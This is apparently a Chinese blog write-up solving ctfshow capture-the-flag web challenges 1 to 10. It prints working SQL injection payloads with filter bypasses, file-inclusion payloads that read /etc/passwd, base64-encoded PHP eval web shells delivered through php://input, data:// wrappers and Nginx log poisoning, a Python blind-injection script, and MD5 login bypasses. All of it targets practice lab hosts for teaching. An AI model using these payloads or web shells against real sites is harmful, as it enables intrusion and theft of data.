ctfshow-web(1-10)
write-up:
web-1:
题目描述:web签到题
解题方法:打开靶机得到一个写着:wher is flag? 的页面:
先查看一下它的源码:
得到一串类似base64的编码,然后把它放进base64里面进行解码一下得到我们的flag:
ctfshow{c3a5c6fd-4bc3-45b5-ad68-afd54e4b99d6}
web-2:
题目描述:最简单的SQL注入
解题方法:打开靶机得到一个简单的登陆界面:
根据题目描述是一个简单的SQL注入,所以我们先来判断一下它的注入点:
输入以下payload,使SQL恒成立
1' or 1=1#
页面回显正常,并且登陆成功得到我们的用户名
我们再输入一下payload,使SQL不成立:
1' or 1=2#
这里我们就没有得到任何回显
通过上面的测试,我们可以知道该登陆界面存在SQL注入漏洞,而且还是单引号的字符型注入,由于页面中有显示位,所以这里我们可以用联合注入
第一步先来爆出它的字段数:
1' or 1=1 order by 1# //有回显
1' or 1=1 order by 2# //有回显
1' or 1=1 order by 3# //有回显
1' or 1=1 order by 4# //无回显
这里说明里面的字段数只有3位
第二步我们先来判断它的显示位:
1' or 1=1 union select 1,2,3#
这里我们得到三个列名中第2个会显示出来
第三步我们开始爆数据库名:
1' or 1=1 union select 1,database(),3#
这里我们爆出数据库名:web2
第四步我们开始爆数据库web2里面的表名:
1' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#
这里我们爆出两个表名:flag和user
这里我们就可以知道我们要的flag应该是在flag表中:
第五步:我们开始爆flag表中的列名:
1' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='web2' and table_name='flag'#
这里回显我们得到了它的列名为:flag
第六步:我们爆出flag列名里面对应的数据:
1'or 1=1 union select 1,group_concat(flag),3 from flag#
最后我们得到我们所想要的信息flag:
ctfshow{ffd57995-ca75-44c4-9eb4-a5daa08f5aef}
web-3:
题目描述:更简单的web题
解题方法:打开靶机得到如下页面:
这里我们知道它要我们GET一个url,而且这里我们还看到include函数
我们用一下payload来测试一下:
?url=../../../../../etc/passwd
这里说明是文件包含漏洞,知道后我们就有很多中方法来解:
第一种方法:我们使用PHP://input来进行任意代码执行
我们再url参数中写入php://input伪协议来提交
?url=php://input
然后使用bp来抓包,这样我们就可以在POST请求体中输入我们需要执行的PHP代码,比如我们输入执行系统命令,来查看一下网页目录下的文件:
<?php system('ls');?>
这里我们看到目录下面有两个文件夹,一个ctf_go_go_go和index.php,一眼看就知道我们要的flag在ctf_go_go_go中
我们直接访问ctf_go_go_go文件:
得到我们的flag:ctfshow{647749b1-c522-4b9e-a036-42c0b725f504}
第二种方法:Nginx日志文件包含
我们构造以下payload,来访问日志,然后获取我们的日志文件,然后修改我们的浏览器的标识UA为自己的php一句话木马:
?url=/var/log/nginx/access.log
然后我们使用bp来抓包,在浏览器标识那里上传我们php的一句话木马:
这里我们可以看到右边,说明我们的木马传成功了,现在我们用蚁剑连连一下:
这里我们的蚁剑的url的payload是:
http://8e9d9ed9-8cd5-434a-bb75-89c3f4dfeea0.challenge.ctf.show/?url=/var/log/nginx/access.log
测试连接成功
这里我们就得到我们的flag:ctfshow{647749b1-c522-4b9e-a036-42c0b725f504}
第三种方法:data://伪协议
我们可以构造一下payload:
?url=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b
这里的 PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b 看似是一句话木马的base64的编码,但是仔细一看并不是
正常我们的一句话木马:
<?php @eval($_POST['1']);?>
base64编码是:PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
但是我们上传后,发现并没有上传上去,猜测我们的>尖括号可能被过滤了,这里的+号就是我们的>尖括号就是我们的base64编码,这里我们将+号进行url编码得到%2b
所以这里我们就将url编号后的%2b替换+号,再上传上去
上传成功后页面是没有什么变化的,然后现在我们用蚁剑来连一下:
蚁剑的url的payload就是:
?url=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b
连接成功,去到目录下面就可以找到我们的flag
得到我们的flag:ctfshow{647749b1-c522-4b9e-a036-42c0b725f504}
第四种方法:php://filter与data://协议配合
我们构造我们的payload:
?url=php://filter/read=convert.base64-decode/resource=data://text/plain;base64,UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3ljeEoxMHBPejgr
这里通过filter对include的数据进行过滤处理,将内容以data://伪协议传入
data://伪协议将UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3ljeEoxMHBPejgr进行base64解密后给filter
filter再进行base64解密后给include执行
UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3ljeEoxMHBPejgr是php一句话木马经过两次base64编码的结果
我们上传一下:
上传成功页面是没有什么变化的
现在我们去蚁剑连一下:
蚁剑的url的payload是:
http://26bc8077-726b-4c44-b3dc-905bb073fdd2.challenge.ctf.show/?url=php://filter/read=convert.base64-decode/resource=data://text/plain;base64,UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3ljekoxMHBPejgr
连接成功,去目录下面找到我们的flag:
得到我们的flag:ctfshow{647749b1-c522-4b9e-a036-42c0b725f504}
web-4:
题目描述:和上一题web-3类似
解题方法:打开靶机,发现和web-3一样:
这里和web-3一样,有一个include函数,可能有文件包含漏洞,用下面payload来测试一下:
?url=../../../../etc/passwd
这里我们用web-3里面的php伪协议来试一下,发现在这里用不了
这里我们就要用日志注入的方式,来getshell
我们构造下面payload来访问日志:
?url=/var/log/nginx/access.log
然后用bp抓包,在UA浏览器标识后面写入我们的一句话木马:
右边显示我们的日志注入成功,现在用蚁剑来连一下
蚁剑的url的payload:
http://c00bc3f9-88cc-40ff-b82e-af67f8f0e0a2.challenge.ctf.show/?url=/var/log/nginx/access.log
测试连接成功
在www文件下面找到了flag的文件
得到我们的flag:ctfshow{4a14c84d-5cef-4888-80ad-c7dd7ca7cef3}
web-5:
题目描述:无
解题方法:打开靶机,一眼看上去是php代码审计:
这里我们通过分析,发现是一个MD5的弱比较,我们先来分析一下函数的作用:
ctype_alpha是判断是否字符
is_numeric判断是否数字
现在我们就知道了v1要是字符型,v2要是数字型,最后他们的MD5值要相等就会输出flag
因为这里是MD5的弱比较,所以我们可以用科学计数法来绕过,构造我们的payload:
?v1=QNKCDZO&v2=240610708
得到我们的flag:ctfshow{227c8c4a-bdb1-43d4-be65-a7e436a3b94f}
补充:本题由于设置了ctype_alpha和is_numeric,所以无法使用数组来绕过。因为如果
web-6:
题目描述:无
解题方法:打开靶机是一个和web-2一样的一个简单的登陆界面:
我们还是一样的用万能密码来测试一下它的注入点:
1' or 1=1#
这里得到了错误的回显,但是语句没有错误,猜测应该是过滤了什么东西,我们先试一下是否是过滤了空格
1'/**/or/**/1=1#
成功登录,说明这里是把空格给过滤了,我们用/**/
来代替空格
后面的步骤就和web-2一样,只是把空格过滤了:
1'/**/or/**/1=1/**/order/**/by/**/3# //爆字段数
1'/**/or/**/1=1/**/union/**/select/**/1,2,3# //爆显示位
1'/**/or/**/1=1/**/union/**/select/**/1,database(),3# //爆数据库名web2
1'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'# //爆出表名flag
1'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'# //爆出列名flag
1'/**/or/**/1=1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#
得到flag:ctfshow{db8e11cd-a4e3-4851-bfe6-67b8e7eee951}
web-7:
题目描述:无
解题方法:打开靶机,页面中有一个文章列表:
这里我们随便点一个:
这里我们从url地址栏中可以看出,页面通过文章的id值来查询文章内容,看到这里我们可以考虑一下SQL注入漏洞
然后现在我们来判断注入点,构造以下payload,使sql恒成立:
?id=1 or 1=1#
这里看到回显错误,语句没有问题,说明里面有东西被过滤了,我们先试一下是不是空格被过滤了:
?id=1/**/or/**/1=1#
回显正常
现在我们构造下面payload,使sql恒不成立:
?id=-1/**/or/**/1=2#
可以看到页面空显示
分析到这里我们可以得出该页面存在SQL注入,注入点为数值型,页面中有显示位,所以我们可以用联合注入来进行注入
先来判断显示位,此处id我们传一个-1,由于id通常不为负数,后端根据id查询不到内容,就只能展示联合查询的结果,从而帮助我们判断字段显示的位置
?id=-1/**/or/**/1=1/**/order/**/by/**/3# //有回显
?id=-1/**/or/**/1=1/**/order/**/by/**/4# //无回显
我们来爆显示位:
?id=-1/**/union/**/select/**/1,2,3#
我们再来爆他的数据库名:
?id=-1/**/union/**/select/**/1,database(),3#
我们再继续爆它的表名:
?id=-1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web7'#
没有回显,但是语句没有问题,应该是什么被过滤了,猜测是单引号,我们将单引号替换成双引号:
?id=-1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema="web7"#
确实是单引号被过滤了
我们继续爆flag表中的列名:
?id=-1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"#
最后我们爆出列名flag对应的数据:
?id=-1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#
得到我们的flag:ctfshow{cd40eba3-97ae-424b-bd38-c493f9e10777}
web-8:
题目描述:做到这一题,基本可以写简单的注入工具了
解题方法:打开靶机,发现是和web-7一样的一个文章列表:
我们随机点开一个文章:
这里和web7一样的,存在sql注入漏洞,我们先在1后面加上一个单引号:
报错,说明这里的单引号被过滤了,然后就尝试去爆它的字段数发现union,and,逗号等都被过滤了
经过多次尝试,我们发现了它所过滤的所有关键字:
空格
and
逗号
单引号
union
空格可以内联注释来绕过,即 /**/
and就可以使用or,或者 || ,或者 &&
逗号就没有太好的想法了
像是单引号被过滤的话,在字符型注入中基本是没戏了,还在这次的是数字型的注入
而union就可以用 || 或者&&
在一次次测试过滤字符中,我们发现我们注入的语句中存在被过滤的字符,得到的回显是:
成功又是这样的界面:
这里我们就发现,失败就是返回出错,成功就得到三个文章列表
那么我们可以使用盲注,判断依据是返回结果有没有“If”这个单词,当然其他的字符也可以,只要不在失败的页面中即可
我们编写python脚本来进行盲注:
import requests
url = "http://d5772be0-437b-477d-a310-292862403676.challenge.ctf.show/index.php?id=-1"
flag = ""
for num in range(1, 60):
l = 33
r = 130
mid = (l + r) >> 1
while l < r:
# 数据库:web8
#sql = "ascii(substr((select/**/database())/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
# 表:flag,page,user
#sql = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
# 列:flag
# sql = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167)/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
# ctfshow{b54332e2-57d2-47c4-933a-d455e9b7e950}
sql = "ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/{}/**/for/**/1))>{}".format(num, mid)
payload = url + "/**/||/**/" + sql
# print(payload)
res = requests.get(payload)
if 'If' in res.text:
l = mid + 1
else:
r = mid
mid = (l + r) >> 1
if chr(mid) == " ":
break
flag += chr(mid)
print(flag)
这里我们简单的分析一下代码:
我们使用二分法查找字符:
ascii()#字符转ascii
substr(string,0,1)#截取string的第1个字符开始,偏移1个单位的字符。例如“substr(‘abc’,1,1)”的结果是‘a’,把1改成2,
这里因为我们的逗号被过滤了,所以我们要用下面这个:
substr(string from 1 for 1)
还有这条语句:
select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167
0x666c6167是“flag”的十六进制,因为不能使用单引号,就把它转换成十六进制
还要补充一点:使用 || 来替代 and 或 union 时, 要注意 || 后面语句的执行条件。必须是前面语句执行错误后,在会执行后面的语句,所以在参数处传入的是 -1
得到flag:ctfshow{3a9dacac-0ec9-4592-9c74-6cb599dac1ad}
web-9:
题目描述:无
解题方法:打开靶机得到一个简单的用户登陆界面,用户名admin给了:
这里我们一看就估计是SQL注入漏洞
但是在这里我们输入万能密码,各种过滤绕过的注入语句都不行,我们查看一下网页源码:
发现并没有任何提示,猜测可能还有其他页面,所以我们用dirsearch来进行目录扫描一下:
python dirsearch.py -u http://e0f0739f-e706-4491-8ed8-93f1968065dd.challenge.ctf.show/ -e php,txt
扫描出了一个robots.txt的文档,我们来访问一下这个文档:
得到一个index.phps,我们再继续访问一下这个index.phps:
让我们下载,下载下来用notepad++打开得到一段源码:
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>
其中这一行:
$sql="select * from user where username ='admin' and password='".md5($password,true)."'";
这里我们看到查询的条件,用户名是admin,但是密码是用MD5加密后的结果
我们来分析一下MD5这个加密函数的用法:
这里我们可以用MD5加密漏洞来绕过:
将密码转换成16进制的hex值以后,再将其转换成字符串后包含'or’xxxx
这样条件就成功了,就可以对语句进行闭合:
username ='admin' and password =' 'or 'xxxxx'
也就是拼接成万能密码
所以我们现在就要找到一个满足条件的16进制数,最后上网看了一下的大佬的博客:
https://blog.csdn.net/March97/article/details/81222922
这篇文章就是在讲这个SQL注入-MD5加密漏洞:
有两个满足的条件:
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b
这里32位的16进制的字符串,两个一组就是上面的16位二进制的字符串。比如27,这是16进制的,先要转化为10进制的,就是39,39在ASC码表里面就是’ ' ‘字符。6f就是对应‘ o ’
另一个:
content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8
但是这里有长度限制,所以我们输入ffifdyop
登录成功,就得到了我们的flag:ctfshow{bdbdad9b-9a15-4a60-8876-735760e089ef}
web-10:
题目描述:无
解题方法:我们打开靶机,得到一个登陆界面:
这里我们看到是一个升级版的web-9,我们还是找一下它的源码:
这里我们点击取消,就会提示我们下载index.phps,用notepad++打开就得到我们的源码:
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
这里看到我们大部分的关键字都被过滤了,想在双写来绕过
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
但是,这段代码直接阻断了双写绕过,如果双写的话,字符串中关键词会被替换为空,这样的话替换前后的字符串长度不同,不太行。
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
最后看了大佬写的文章,才知道一种解题的新姿势:
参考文章:web-10
这里介绍两个MySQL语句
1.group by:对要进行的查询的结果来进行分组,group by 后面跟什么就按什么来分组(将结果集中的数据行根据选择列的值进行逻辑分组)
2.with rollup:group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计
这里我们就可以用这种方式来绕过:
其中/**/
是为了绕过空格过滤
payload:username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足
登陆成功,得到我们的flag:ctfshow{21948720-9a2e-4282-b4c3-7fc3fda61723}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通